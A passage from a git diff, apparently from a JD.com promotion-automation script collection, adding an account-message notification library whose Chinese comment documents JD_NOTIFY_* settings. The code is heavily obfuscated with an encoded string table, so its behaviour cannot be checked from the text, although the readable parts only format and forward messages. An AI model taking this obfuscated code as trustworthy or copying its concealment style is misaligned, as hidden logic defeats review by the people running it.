_0x36f97b=_0x17a84e?_0x17a84e:'',_0x2590d6=_0x400b94?_0x400b94['toString']():'',_0x398156=_0x3339d0+','+_0x2e781d+','+_0x36f97b+(_0x2590d6?','+_0x2590d6:'')+','+formattedCurrentTime+'\x0a';fs[_0x53d852(0x146,'15t(')](prize_record_path,_0x398156,{'encoding':'utf-8','flag':'a'});}module['exports']={'wuxian_savePrize':wuxian_savePrize,'wxSavePrize':wxSavePrize,'lzkj_interactsaas_savePrize':lzkj_interactsaas_savePrize,'loreal_savePrize':loreal_savePrize,'lzkj_interaction_v2_savePrize':lzkj_interaction_v2_savePrize,'lzdz1_savePrize':lzdz1_savePrize,'lzdz_savePrize':lzdz_savePrize,'jinggeng_savePrize':jinggeng_savePrize}; \ No newline at end of file diff --git a/jd/utils/Rebels_sendJDNotify.js b/jd/utils/Rebels_sendJDNotify.js new file mode 100644 index 00000000..7785298a --- /dev/null +++ b/jd/utils/Rebels_sendJDNotify.js @@ -0,0 +1,30 @@ +/* +一个强大的推送通知库,主要用于汇总多条账号消息后集中推送通知 +默认情况下账号消息指的是单一账号的消息,它由“<前缀><用户名><消息内容>”组成,其中消息内容由一条或多条组成最后用指定字符拼接成一条合并内容 +脚本最终汇总多条账号消息后集中触发推送通知业务,每个账号的消息占用一行,排列顺序以优先触发记录为原则 +此库封装了多条方法,推送通知业务调用自 sendNotify.js,可引用此模块来平替引用它,支持单消息推送 + +账号消息自定义功能如下(环境变量) +1。关键词匹配(白名单),触发时推送对应单条账号消息,另外定义后不再适用于黑名单关键词过滤 JD_NOTIFY_MATCH_KEYWORDS + 例:export JD_NOTIFY_MATCH_KEYWORDS="积分",多个关键词用@分割 +2。关键词过滤(黑名单),触发时不推送对应单条账号消息 JD_NOTIFY_FILTER_KEYWORDS + 例:export JD_NOTIFY_FILTER_KEYWORDS="空气@会员",多个关键词用@分割 +3。关键词清除,触发时会清除消息内容中的对应关键字 JD_NOTIFY_CLEAR_KEYWORDS + 例:export JD_NOTIFY_CLEAR_KEYWORDS="" # 例:"空气",多个关键词用|分割,如果你不想在账号消息中看到某些字样则可以使用此功能 +4。消息内容分隔符 JD_NOTIFY_SEPARATOR,默认为中文逗号 + 例:export JD_NOTIFY_SEPARATOR="、",此分隔符用于分隔多条账号消息 +5。设置用户名昵称 JD_NOTIFY_NICKNAMES + 例:export JD_NOTIFY_NICKNAMES="userpin_α@哥哥,userpin_β@弟弟",多个昵称配置用英文逗号分割,用户名和昵称用@分割 +6。是否展示用户名 JD_NOTIFY_SHOW_USERNAME(true/false),默认展示 + 例:export JD_NOTIFY_SHOW_USERNAME="false" +7. 设置推送通知的用户名是否脱敏 JD_NOTIFY_USERNAME_MASKING(true/false),默认不脱敏,根据用户名长度动态将部分字符用*替换 + 例:JD_NOTIFY_USERNAME_MASKING="true" +8。设置消息前缀格式 JD_NOTIFY_PREFIX_FORMAT,默认为 "【京东账号<序号>】<用户名>:" + 例:export JD_NOTIFY_PREFIX_FORMAT="账号%【@】",%代表账号序号、@代表用户名 +9。设置自动合并消息中用数字开头表示数量的内容 JD_NOTIFY_AUTO_MERGE_TYPE + 例:export JD_NOTIFY_AUTO_MERGE_TYPE="积分",多个规则用@分割,正则匹配 + +new Env('Rebels_sendJDNotify'); +*/ + +const _0xd9dfef=_0x3306;(function(_0x33130e,_0x2569a3){const _0x2025fd=_0x3306,_0x33ce15=_0x33130e();while(!![]){try{const _0x321f30=-parseInt(_0x2025fd(0x1ff,'yRQz'))/0x1+parseInt(_0x2025fd(0x1d4,'R[]7'))/0x2*(-parseInt(_0x2025fd(0x232,'OQ4#'))/0x3)+-parseInt(_0x2025fd(0x1bc,'j9WF'))/0x4*(-parseInt(_0x2025fd(0x1b9,'OQ4#'))/0x5)+-parseInt(_0x2025fd(0x22d,'h(YY'))/0x6+-parseInt(_0x2025fd(0x1cc,'h(YY'))/0x7*(-parseInt(_0x2025fd(0x1c6,'lEi%'))/0x8)+-parseInt(_0x2025fd(0x1f6,'5y9G'))/0x9+parseInt(_0x2025fd(0x214,'uI$*'))/0xa*(parseInt(_0x2025fd(0x231,'#A)4'))/0xb);if(_0x321f30===_0x2569a3)break;else _0x33ce15['push'](_0x33ce15['shift']());}catch(_0x1fdb37){_0x33ce15['push'](_0x33ce15['shift']());}}}(_0x1716,0xdae73));function _0x3306(_0x1a0d42,_0x7d21e6){const _0x17166b=_0x1716();return _0x3306=function(_0x3306d2,_0x489262){_0x3306d2=_0x3306d2-0x1a3;let _0x54f0f2=_0x17166b[_0x3306d2];if(_0x3306['NvUdcK']===undefined){var _0x27177b=function(_0x347e7f){const _0x2b674f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x423fb='',_0xa88d03='';for(let _0x19ab71=0x0,_0x4e3ea4,_0x3a05ac,_0x18f0b3=0x0;_0x3a05ac=_0x347e7f['charAt'](_0x18f0b3++);~_0x3a05ac&&(_0x4e3ea4=_0x19ab71%0x4?_0x4e3ea4*0x40+_0x3a05ac:_0x3a05ac,_0x19ab71++%0x4)?_0x423fb+=String['fromCharCode'](0xff&_0x4e3ea4>>(-0x2*_0x19ab71&0x6)):0x0){_0x3a05ac=_0x2b674f['indexOf'](_0x3a05ac);}for(let _0x3b621a=0x0,_0x453517=_0x423fb['length'];_0x3b621a<_0x453517;_0x3b621a++){_0xa88d03+='%'+('00'+_0x423fb['charCodeAt'](_0x3b621a)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0xa88d03);};const _0x176f44=function(_0x3152b6,_0xe54139){let _0x3827fa=[],_0x478e29=0x0,_0x39c8c0,_0x477698='';_0x3152b6=_0x27177b(_0x3152b6);let _0xd87c95;for(_0xd87c95=0x0;_0xd87c95<0x100;_0xd87c95++){_0x3827fa[_0xd87c95]=_0xd87c95;}for(_0xd87c95=0x0;_0xd87c95<0x100;_0xd87c95++){_0x478e29=(_0x478e29+_0x3827fa[_0xd87c95]+_0xe54139['charCodeAt'](_0xd87c95%_0xe54139['length']))%0x100,_0x39c8c0=_0x3827fa[_0xd87c95],_0x3827fa[_0xd87c95]=_0x3827fa[_0x478e29],_0x3827fa[_0x478e29]=_0x39c8c0;}_0xd87c95=0x0,_0x478e29=0x0;for(let _0x54f7da=0x0;_0x54f7da<_0x3152b6['length'];_0x54f7da++){_0xd87c95=(_0xd87c95+0x1)%0x100,_0x478e29=(_0x478e29+_0x3827fa[_0xd87c95])%0x100,_0x39c8c0=_0x3827fa[_0xd87c95],_0x3827fa[_0xd87c95]=_0x3827fa[_0x478e29],_0x3827fa[_0x478e29]=_0x39c8c0,_0x477698+=String['fromCharCode'](_0x3152b6['charCodeAt'](_0x54f7da)^_0x3827fa[(_0x3827fa[_0xd87c95]+_0x3827fa[_0x478e29])%0x100]);}return _0x477698;};_0x3306['pHoaZR']=_0x176f44,_0x1a0d42=arguments,_0x3306['NvUdcK']=!![];}const _0x242e69=_0x17166b[0x0],_0x48abe4=_0x3306d2+_0x242e69,_0x1f28fa=_0x1a0d42[_0x48abe4];return!_0x1f28fa?(_0x3306['JhXGfp']===undefined&&(_0x3306['JhXGfp']=!![]),_0x54f0f2=_0x3306['pHoaZR'](_0x54f0f2,_0x489262),_0x1a0d42[_0x48abe4]=_0x54f0f2):_0x54f0f2=_0x1f28fa,_0x54f0f2;},_0x3306(_0x1a0d42,_0x7d21e6);}function _0x1716(){const _0x5887e3=['smo+W4KOWPjUWPxcRW','kCo3AM7dOSknWOpcKuZcMHJcH8k1d8oGW6FdRG','ESoOW5i0WOrCWOpcUCouWPDusCoj','WOvIkG','W6ZcUY7cKCoLeIWOWRq8va','W7fRWPZcRSkD','WPjPlgpcGmoNia','W4BcUc/cNSo1oqaZWRmUsmkCoq','a8o0FhJdPCk4WO3cGhpcMG','W43dP8kaW7u4WRP7','w8osW4OiWOfxrHFcVmo/W4RcMIddRa','qCoWdCkQaSobW4JcS8knqJVdP1dcH8kxbmkauwqm','bSkXWOyRCCoAkf4dWP3cP1hdISkRWPFdMIFcT8oHpv8','wSkeuv1hz8oApCoGaSk2eSkl','rWbhWPiQW4WliwCHdrVdUYeDWOiuz3JcVCo0nCkgWRiOW6BcV13cLZdcJvHPuG','W4FcUGrAEq','bY4iW6tdOJuZaXBcSq','i8oyzSoN','WRfEW6LY','W5hcLctdQNKlW5/cNa','W6ZcPs7cJmoYpsq5WO4/xCktp8oHWPGTsW','W5RcPGLs','WPVdImkRBHxcNYC','W5TvgCo5','W7yymcK','C8kkmf/cU8kNFCkrrSoWaCkKWQC','zuhcK8k8exHOW49uW5rXx8oRxG','D8opW4mtWPi','W77dH3RdR8k8WRHA','WQbiWPtcJ2z+WOtdGI1SW5RdSbm','W7LKWP4','WPnJmwO','WQBcNCkNW518x8kmxeFdIsDynSo6DJ/cRW','W4BdJd5GW63dL8k5WPddQ8oqrCkB','qSktecrnW7W/zSofxLpdOq','WPRcIqy0WP3dSKS','cv8TWQu','tKZdN8kig8oSW6vMWOH5W4iXdKeHxXtdSH8zW57cOmoqW484xq','Emkada','WPNdK3xdNSkQWQfefmoFlXaRWQ0KW7/cRGOxW4zM','W6ZcPs7cJmoYpsq5WPa7wCkrjColWOK7tSkZzHv4','WQ5EW6LXfmoh','W6pcNZ7dUNmcW5VcGSojW78','W4O9WPlcVLBcNSoIcMJdNG','W5/cNJNdRx0cW44','v8o+W4O+WPj9','oSkUWOy5DSoE','WO7cHrOSWPNdOW','W4BcPJJcMSo1ccOOWRe/','WRfxW651bq','W6NdMXCS','fevCW4dcMsvg','W6tdJmkXW48sWObgkSoNWONcKMeCW5TszuldHmkZiCosewe','xvuCW4JdVNZdLq','hrNcH8kPWQO4k8otWOlcMhX0ra','WR8bW6lcOdO0smoGySol','WO7dGshdVh4aW4lcMa','ue/cMCkX','WPXTWQddGCoVuqVcOxBcTSkTW6rw','W4LiaSorW5u4Ea','w2NdO8kLo8onW4juWQjNW6uqkMO','WQTvW6r6fColnXa','FtfRWRq','WRGaW6dcPh5nq8ovvSozWR50','w0hdMSo5','44gh5lIg5lIt6lAS5y6IW6hJGOZcQo++QG','WPJcQNiSWPr/ha','ExCDd0NdGW','W6OilsBcHmo6','W6iemdhcN8oHW4y','vKxcNSk4cMu','WPjDWPxcMwfWWPNdTW','W7mEjJpcVSoZW457','CCkmkSoWrJCdhWDn','W6iemdhcN8oHW4zCW6Cvy8oGvSo6','W5hcKcC','WRBcNCkGW4f2','qg4dhKRdMbddKwz/WQ/dGHC','wSkbuf1tqmodfSoQpCk6amkuzCosqa','BSkEfSoWkW','yZZdUmkgWQbxWR01DCkDBCoFyW','Dmo7aCkI','W4dcRsxcM8opmZC1WRSJ','e1VcHmo1WPzUbIqVWRe','tW93W7n/tSoOiMPNWQW','WP4FsCoeW60yFCopsG','w8osW4OjWPvtBbFcJmoGW47cNdFdLmoogSoPWO3dT2VdOq','WQPia0hcRSoqdmkGiJFcM8kVW57cP8kUW5/dMSoTpmkdWPK+bSox','W6ZcUdNcMSoNntSAWRiOqmktoq','W59Rs8ojW65zW7K','dc4sW47dSY4','iSoxArVdQCo9pa','xeNcImk6gG','ySkBn8oq','w1qe','mh4CWO8jv8oMlfbCWRxdJ8kFfMtcVJ3dQCkti8okp0tcNCo1','W7bkfCoNW4C6D8ozAqv3W63cICkFWQRdR8kIW5veWO3dOK4','h8o0A3JdQq','W4BdJXeWydPVmmoXywCZWRDk','tKZdN8kig8oSW6vMWOH5W5eRb0CQtaBdVaunW4JcVmojW4iL','tuOEW5xdRW','WP3cLCkHW5L8yCkmBfNdUqbenmoX','l0jgW5pcNtHcW4ZdQSk7','y23dTmkspComW4bf','oxNcOCouW74iW4i+xmkprSo5yhO','l0fkW4pcHtDeW4tdNmkTwSoun3rmta4','D8kzlSoytsaZeq5ClmkChG','mSoxAGO','oMHWW77cUqjQW6FdLSkxz8o0evzWFdDQhSkkgXXXbW','W7bVWOBcQSkbWR4','W7pcVgmKuZKQW5qvWRVdS8k3wvZcIJWcW6/dGgr9W4e','nwtcPSovW74b','WQTiW5eM','ymowW5WkWOLbBJpcO8oGW6BcMdBdRmokbmo7','WQVcMSkWW4HR','ESo2W58PWPrSWR3cUCovWQPuq8ojWOm','pmkYWPu','WQv0WRZdGa','WP1AW6r1d8oApbCmeSkFW6BcKYC','tSo7W7a0WQLMqJtcLSotW6BcVbhdNmoJpmovWQFdNfJdNColW4v8','WRZcMMC5','BCorW4WwWPnwBGe','yZ3dSmkbWQ8jW6SrE8kgzq','D0pdKSoVW65OFSoyWPxcMejwsNXeWQuTW53dReVcUG','WObBW5SOdSkvsCokW4BdHcLMB3a','w8oEW5OoWOL/BGdcQmoPW7/cHdxdUG','saH0W7fXn8kAb31bWRBdV8ke','BxSbf03dKG0','a1XdW5NcLtm','W6aMAW','W7fRWPG','ruVdHmoVW7XUFmoo','W6pcKdtdUNCzW5tcM8oFW43cUSkDkSkd','DNavhLq','BmkAr11z','W5xdLsHP','ASo9hmkGbG','CCkgsLu','W4RcT3qsvZqX','aSoOzNa','WPZcNH81','W7hdRSkbW7mWWRv7lCoDWRNcTeCNW79avwldSSkacmo2','WR3cM2SMW5qAvXq','W4JcVq5B','W47cLcFdTxKpW58','mh4CWO8jv8oMlfbCWRddN8khehBcUIZdVSkg','WQVcMSk3W4fMsmkmBq','W7eHACovrG','lCkUWOO1','WRbiW5eScmkoASoBW4BdTJPZA3O','W4JcSxuNwsq8','fSolvq','p0VcMCo0WQPpeYaSWOv/BwzGwNO','WOH/W5Hyl8o7gYuMdmk9W4BcTXHKyNlcR8kahNVcKConWQS','W4NcGJldQ1ynW5FcIG','mSoDAqS','ymkvEvZdG8kx','W5hdKI5K','WRJdK8ktWR/cQ191WQtdHmk7','sCkipCoEtdeEcHnPo8kac8o4','sCkammouvWCFeazblG','W63dHXaOAG','W7ZdGbi','WPNdRtjLdXOEW7ucWRBdKq','WQ0YW5hcNCkSWPxdICkNW5y','WP0xbSoXW5i3Amol','WObuW5eOcSkorSotW5ddTG','WRRcJx44W7SyxW','WP7dRtnJb2u+W4KTWPhdSmkK','W6XCWRVdTa','v8kQjCoxemkKW4KrW6iyWRJdH8k0gLxdImkBEmkgWRtcIN3cLSkc','W6XCWRNdPcOn','W4lcSq5yDCkF','WOPlWOpcMe52WPhdOq','W6aelZxcLCoG','W4ddJI0','FIHXWR8a','WQtcQhKRWOjWd8oTWRhdVu7dG8ojySkYWRFcPW','sfXfW6FcGtPr','W5dcLdNdVMWe','WO3dH2tcQc1EW5/cOCoPW7tcVmko','WRFcGrmQWPVdTgpdR8kpCCkgqCk9W78','aCoauham','jCkhW5GAWQO','ytNdSmkkWQfxWR4uymk+Dmo5Aa','W4bXWORdNGaRBCoNq8ofWOzBbSoonmojvSoMW7fivqNcJr3cSG','p8k1WO8Sz8oj','EtzXWRe','hCoUumoegSkqW5tcRSoPWQZdQmk2WQ0tW4tdNCoxW79x','WR9HoxZcKSoLiSkdpqhcTmkxW77cLmk3W6xdQmoFcSkMWRiF','cK8WWQK','ENah','emkTWOjPW4TMWPtcLSoYWQn3','iSkfW50E','W4BdNHyHAr5Ybmo5DL4RWRm','wSkvqfToE8omd8o8mCkPaCkEDq','W69MWOhcRSkq','W4BdMXCHFtLRl8oZsvi5WQXgWRul','WOJcSmklW6nCEmkGwgFdGXP0b8oFwrpcH2DM','WRnFW5ySfCki','W6KTC8oEv8on'];_0x1716=function(){return _0x5887e3;};return _0x1716();}class Notification{constructor(){const _0x470f79=_0x3306;this[_0x470f79(0x229,'Z8D6')]='',this[_0x470f79(0x1e6,'!p2b')]='',this[_0x470f79(0x1e1,'@blE')]=require('../sendNotify')[_0x470f79(0x22f,'@blE')],this[_0x470f79(0x219,'S!Ez')]=[],this[_0x470f79(0x1de,'PZRP')]='',this[_0x470f79(0x205,'@blE')]=[],this[_0x470f79(0x1d1,'jQX1')]=[],this['_messageClearKeywords']=[],this[_0x470f79(0x1df,'R[]7')]=!![],this[_0x470f79(0x1d9,'$B#k')]=![],this[_0x470f79(0x1ba,'YMfJ')]={},this[_0x470f79(0x22a,'4)BN')]='',this[_0x470f79(0x1e8,'hxgB')]=_0x470f79(0x21e,'k9SK'),this['_autoMergeType']='',this[_0x470f79(0x1b4,'Ye7(')]();}['_initConfig'](){const _0x3ce9cf=_0x3306;process[_0x3ce9cf(0x1d3,'4)BN')][_0x3ce9cf(0x249,'lEi%')]&&(this['_messageMatchKeywords']=process['env'][_0x3ce9cf(0x254,'#HSw')][_0x3ce9cf(0x22c,'iD(W')]('@')[_0x3ce9cf(0x228,'pWW#')](_0x176f44=>_0x176f44[_0x3ce9cf(0x269,'NXTI')]())[_0x3ce9cf(0x1c2,'zcL6')](Boolean));process[_0x3ce9cf(0x23b,'AUUI')][_0x3ce9cf(0x240,'S!Ez')]&&(this['_messageFilterKeywords']=process[_0x3ce9cf(0x1ab,'yRQz')]['JD_NOTIFY_FILTER_KEYWORDS'][_0x3ce9cf(0x241,'AUUI')]('@')[_0x3ce9cf(0x25f,'!u@k')](_0x347e7f=>_0x347e7f[_0x3ce9cf(0x1f4,'OQ4#')]())[_0x3ce9cf(0x220,'4)BN')](Boolean));process['env'][_0x3ce9cf(0x234,'jQX1')]&&(this[_0x3ce9cf(0x233,'#HSw')]=process[_0x3ce9cf(0x251,'y)5n')][_0x3ce9cf(0x1be,'iD(W')]['split']('|')[_0x3ce9cf(0x1bf,'uI$*')](Boolean));this[_0x3ce9cf(0x246,'lEi%')]=process[_0x3ce9cf(0x1b6,'$B#k')]['JD_NOTIFY_SEPARATOR']||process[_0x3ce9cf(0x1c3,'j1QQ')][_0x3ce9cf(0x1a5,'#A)4')]||',';if(process[_0x3ce9cf(0x1e0,'jQX1')][_0x3ce9cf(0x1da,'Z8D6')]){const _0x2b674f=process[_0x3ce9cf(0x1fb,'!u@k')][_0x3ce9cf(0x1d0,'k9SK')][_0x3ce9cf(0x1f8,'#HSw')](',');_0x2b674f[_0x3ce9cf(0x236,'FZJT')](_0x423fb=>{const _0x5c5383=_0x3ce9cf;let _0xa88d03=_0x423fb['split']('@');_0xa88d03[_0x5c5383(0x223,'JB(N')]===0x2&&_0xa88d03[0x0]&&_0xa88d03[0x1]&&(this[_0x5c5383(0x208,']Q7Y')][_0xa88d03[0x0]]=_0xa88d03[0x1]);});}this['_showUserName']=!(process[_0x3ce9cf(0x1d3,'4)BN')][_0x3ce9cf(0x211,'!p2b')]==='false'),this[_0x3ce9cf(0x22b,'#cB0')]=(process['env'][_0x3ce9cf(0x202,'S!Ez')]||process[_0x3ce9cf(0x1ab,'yRQz')][_0x3ce9cf(0x1eb,'ASM0')])===_0x3ce9cf(0x1b1,'j1QQ'),this[_0x3ce9cf(0x1ea,'#cB0')]=process['env']['JD_NOTIFY_PREFIX_FORMAT']||process[_0x3ce9cf(0x25e,'CCWx')][_0x3ce9cf(0x1ad,'20UJ')]||this['_defaultPrefixFormat'],process[_0x3ce9cf(0x203,'iD(W')][_0x3ce9cf(0x23c,'#A)4')]&&(this['_autoMergeType']=process[_0x3ce9cf(0x25e,'CCWx')][_0x3ce9cf(0x1cd,'uI$*')]);}[_0xd9dfef(0x24c,'h(YY')]({title:_0x19ab71,content:_0x4e3ea4,messageSeparator:_0x3a05ac}){const _0x1665b2=_0xd9dfef;_0x19ab71!==undefined&&(this[_0x1665b2(0x265,'hxgB')]=_0x19ab71),_0x4e3ea4!==undefined&&(this['content']=_0x4e3ea4),_0x3a05ac!==undefined&&(this['_messageSeparator']=_0x3a05ac);}['setTitle'](_0x18f0b3){const _0x23bf16=_0xd9dfef;this[_0x23bf16(0x229,'Z8D6')]=_0x18f0b3;}[_0xd9dfef(0x20d,'@blE')](){const _0x148320=_0xd9dfef;this[_0x148320(0x1a7,'CCWx')]='';}[_0xd9dfef(0x244,'S!Ez')](){const _0x349806=_0xd9dfef;return this[_0x349806(0x1b5,'$B#k')];}[_0xd9dfef(0x1b2,'w#DA')](_0x3b621a){const _0x67ea7d=_0xd9dfef;this[_0x67ea7d(0x21f,'kz*w')]=_0x3b621a;}[_0xd9dfef(0x247,'Ye7(')](_0x453517){const _0x38d2e3=_0xd9dfef;this[_0x38d2e3(0x212,'AUUI')]+=_0x453517;}[_0xd9dfef(0x1fe,'j1QQ')](){const _0x52299f=_0xd9dfef;this[_0x52299f(0x1e6,'!p2b')]='';}['getContent'](){const _0xc93004=_0xd9dfef;return this[_0xc93004(0x209,'pWW#')];}[_0xd9dfef(0x1e4,'@blE')](_0x3152b6){const _0xee3c97=_0xd9dfef;this[_0xee3c97(0x238,'5y9G')]=_0x3152b6;}[_0xd9dfef(0x20b,'y)5n')](_0xe54139,_0x3827fa){const _0x13ca00=_0xd9dfef,_0x478e29=this[_0x13ca00(0x258,'wf$i')],_0x39c8c0=this[_0x13ca00(0x23d,'OQ4#')],_0x477698=this[_0x13ca00(0x1e9,'y)5n')],_0xd87c95=this[_0x13ca00(0x1fa,'fzp6')],_0x54f7da=this[_0x13ca00(0x207,'pWW#')];_0xe54139===undefined&&(_0xe54139='');const _0x3e1efa={'index':''+_0xe54139,'userName':_0x3827fa,'fixed':![],'messages':[],'originMessages':[],'insert'(_0x48de84){const _0x30fe9e=_0x13ca00;if(!_0x48de84)return;if(_0x3e1efa[_0x30fe9e(0x239,'JB(N')])return;_0x3e1efa['originMessages'][_0x30fe9e(0x20f,'$B#k')](_0x48de84[_0x30fe9e(0x1a8,'y)5n')]());if(_0x478e29[_0x30fe9e(0x1b0,'[CBH')]>0x0&&!_0x478e29[_0x30fe9e(0x248,'5y9G')](_0x48adf3=>_0x48de84[_0x30fe9e(0x21a,'20UJ')](_0x48adf3)))return;else{if(_0x39c8c0[_0x30fe9e(0x1c7,'pWW#')]>0x0&&_0x39c8c0[_0x30fe9e(0x1fc,'jQX1')](_0x459a5a=>_0x48de84[_0x30fe9e(0x256,'#HSw')](_0x459a5a)))return;}_0x477698[_0x30fe9e(0x1db,'YMfJ')]>0x0&&_0x477698['forEach'](_0x55d659=>{const _0xfb9e72=_0x30fe9e;_0x48de84=_0x48de84[_0xfb9e72(0x25c,'4)BN')](new RegExp(_0x55d659,'g'),'');}),_0x3e1efa[_0x30fe9e(0x224,'fzp6')]['push'](_0x48de84[_0x30fe9e(0x1cf,'ASM0')]());},'fix'(_0x508d23){const _0x216db6=_0x13ca00;if(!_0x508d23)return;_0x3e1efa['fixed']=!![],_0x3e1efa[_0x216db6(0x245,'h(YY')]=[_0x508d23[_0x216db6(0x268,'PZRP')]()];if(_0x478e29[_0x216db6(0x1dc,'CCWx')]>0x0&&!_0x478e29[_0x216db6(0x21d,'wf$i')](_0x150dc7=>_0x508d23['includes'](_0x150dc7)))return;else{if(_0x39c8c0['length']>0x0&&_0x39c8c0['some'](_0x1ca76f=>_0x508d23['includes'](_0x1ca76f)))return;}_0x477698[_0x216db6(0x24a,'!u@k')]>0x0&&_0x477698[_0x216db6(0x267,'j9WF')](_0x5c9b17=>{const _0x21c16a=_0x216db6;_0x508d23=_0x508d23[_0x21c16a(0x200,'NXTI')](new RegExp(_0x5c9b17,'g'),'');}),_0x3e1efa[_0x216db6(0x1dd,'R[]7')]=[_0x508d23[_0x216db6(0x266,'#cB0')]()];},'updateIndex'(_0x72b83a){const _0x96f5df=_0x13ca00;_0x3e1efa[_0x96f5df(0x262,'4)BN')]=''+_0x72b83a;},'updateUsername'(_0x5cd5af){const _0x59dd00=_0x13ca00;_0x3e1efa[_0x59dd00(0x26b,'GSOe')]=_0x5cd5af;},'getInlineContent'(){const _0x514ba0=_0x13ca00;let _0x5c61bf=this[_0x514ba0(0x1a9,'YMfJ')][_0x514ba0(0x22e,'hxgB')](this[_0x514ba0(0x1f1,'@blE')])[_0x514ba0(0x1d5,'gtqm')]();this[_0x514ba0(0x25a,'#HSw')]&&(_0x5c61bf=this[_0x514ba0(0x1c9,'NXTI')](_0x5c61bf,this[_0x514ba0(0x242,'Z8D6')]));const _0x16affc=decodeURIComponent(_0x54f7da[this['userName']]||this[_0x514ba0(0x225,'zcL6')]),_0xe414ea=_0xd87c95['replace'](/%/g,this[_0x514ba0(0x23e,'PZRP')])['replace'](/@/g,_0x16affc);return''+_0xe414ea+(_0x5c61bf||'无');}};return this[_0x13ca00(0x259,'YMfJ')][_0x13ca00(0x264,'j1QQ')](_0x3e1efa),_0x3e1efa;}[_0xd9dfef(0x210,'lEi%')](_0x55f401){this['_accountsArray']=this['_accountsArray']['filter'](_0x169e93=>_0x169e93!==_0x55f401);}[_0xd9dfef(0x1fd,'Z8D6')](_0xdc52c9){const _0x45bb0a=_0xd9dfef,_0x4e2e0f=this[_0x45bb0a(0x1d7,'#cB0')][_0x45bb0a(0x1bd,'uI$*')](_0x54ff48=>decodeURIComponent(_0x54ff48[_0x45bb0a(0x1c1,'fzp6')])===decodeURIComponent(_0xdc52c9));_0x4e2e0f&&this[_0x45bb0a(0x1aa,'j9WF')](_0x4e2e0f);}[_0xd9dfef(0x227,'zcL6')](_0x23fdf5){const _0x1a315a=_0xd9dfef,_0x844313=this[_0x1a315a(0x1b3,'Ye7(')][_0x1a315a(0x252,'wG[u')](_0x400664=>_0x400664[_0x1a315a(0x1ec,'nS*b')]===''+_0x23fdf5);_0x844313&&this[_0x1a315a(0x222,'zcL6')](_0x844313);}[_0xd9dfef(0x24e,'#HSw')](){const _0x29d1f7=_0xd9dfef;this[_0x29d1f7(0x1f7,'JB(N')]=[];}[_0xd9dfef(0x1ed,'GR1N')](_0x40691d=![]){const _0x3d8fa0=_0xd9dfef;if(this[_0x3d8fa0(0x259,'YMfJ')][_0x3d8fa0(0x221,'zcL6')]===0x0)return'';this[_0x3d8fa0(0x26a,'!p2b')]();if(this[_0x3d8fa0(0x253,'20UJ')][_0x3d8fa0(0x206,'20UJ')]===0x0)return'';let _0x1144d5=[];const _0x22f6d4=this[_0x3d8fa0(0x1ac,'^ldz')],_0x148c02=this['_showUserName'],_0xae1302=!_0x148c02&&this[_0x3d8fa0(0x1d6,'$B#k')]===this[_0x3d8fa0(0x204,'@dFk')]?this[_0x3d8fa0(0x235,'@blE')][_0x3d8fa0(0x1e3,'jQX1')](/:$/,''):this[_0x3d8fa0(0x217,'wG[u')];for(const {userName:_0x1fd323,index:_0x5dade7,messages:_0x1a4c27}of this[_0x3d8fa0(0x261,'pWW#')]){let _0x1eaaae='';if(_0x148c02){const _0x43b74d=decodeURIComponent(this[_0x3d8fa0(0x243,'lEi%')][_0x1fd323]||_0x1fd323);_0x22f6d4&&_0x40691d?_0x1eaaae=this['_desensitizingUserName'](_0x43b74d):_0x1eaaae=_0x43b74d;}const _0x4f2ccf=_0xae1302[_0x3d8fa0(0x1bb,'GSOe')](/%/g,_0x5dade7)[_0x3d8fa0(0x1a4,'pWW#')](/@/g,_0x1eaaae),_0x183452=_0x1a4c27[_0x3d8fa0(0x216,'JB(N')](this[_0x3d8fa0(0x1c5,'kz*w')])[_0x3d8fa0(0x23a,'Ye7(')]();_0x1144d5[_0x3d8fa0(0x1d2,'#A)4')](''+_0x4f2ccf+_0x183452);}return _0x1144d5['join']('\x0a')[_0x3d8fa0(0x255,'GSOe')]();}[_0xd9dfef(0x1ca,'yRQz')](){const _0x21d38d=_0xd9dfef;this[_0x21d38d(0x1e5,'PZRP')](),this['clearContent'](),this['disposeAllMessage']();}async[_0xd9dfef(0x1ef,'20UJ')](_0x4a3bea,_0x14a277){await this['_sendNotify'](_0x4a3bea,_0x14a277);}async[_0xd9dfef(0x230,'^ldz')](_0x2cd4aa,_0x3478a){const _0x622dc5=_0xd9dfef;await this[_0x622dc5(0x1af,'5y9G')](_0x2cd4aa,_0x3478a);}async[_0xd9dfef(0x21b,'ASM0')](){const _0x415fc2=_0xd9dfef;let _0x475c98=this[_0x415fc2(0x1f3,'TG#^')][_0x415fc2(0x1f2,'nS*b')]();const _0x540ee6=this[_0x415fc2(0x226,'Ye7(')](!![]);if(_0x540ee6)_0x475c98=_0x540ee6[_0x415fc2(0x1ee,'k9SK')]()+'\x0a\x0a'+_0x475c98;await this[_0x415fc2(0x201,'#A)4')](this['title'],_0x475c98);}[_0xd9dfef(0x1e7,'#HSw')](_0x506d09,_0x3e8e70){const _0x1121eb=_0xd9dfef;try{function _0x1b3a22(_0x469caf){const _0x55f548=_0x3306,_0x3c6e8e=_0x469caf[_0x55f548(0x1e2,'!u@k')](/(\d+)(.+)/);return _0x3c6e8e?{'count':parseInt(_0x3c6e8e[0x1]),'name':_0x3c6e8e[0x2][_0x55f548(0x24d,'YMfJ')]()}:{'count':null,'name':_0x469caf};}function _0x13cef1(_0x1a8e3e,_0x11128a,_0x42df67){const _0x34f610=_0x3306;return _0x11128a!==null&&_0x42df67[_0x34f610(0x1cb,'gtqm')]('@')[_0x34f610(0x1a6,'Z8D6')](_0x1a8e3e);}for(let _0x156165=0x0;_0x156165<_0x506d09['length'];_0x156165++){const {count:_0x235a4b,name:_0x10f10b}=_0x1b3a22(_0x506d09[_0x156165]);if(_0x13cef1(_0x10f10b,_0x235a4b,_0x3e8e70))for(let _0x4460ec=_0x156165+0x1;_0x4460ec<_0x506d09[_0x1121eb(0x237,'GR1N')];_0x4460ec++){const {count:_0x342008,name:_0x46e13d}=_0x1b3a22(_0x506d09[_0x4460ec]);_0x10f10b===_0x46e13d&&(_0x506d09[_0x156165]=''+(_0x235a4b+_0x342008)+_0x10f10b,_0x506d09[_0x1121eb(0x25d,'lEi%')](_0x4460ec,0x1),_0x4460ec--);}}return _0x506d09;}catch{return _0x506d09;}}[_0xd9dfef(0x24b,'j9WF')](_0x512fb3){const _0x1f5570=_0xd9dfef;let _0x26106a='';if(_0x512fb3['length']<0x5)switch(_0x512fb3['length']){case 0x1:_0x26106a=_0x512fb3;break;case 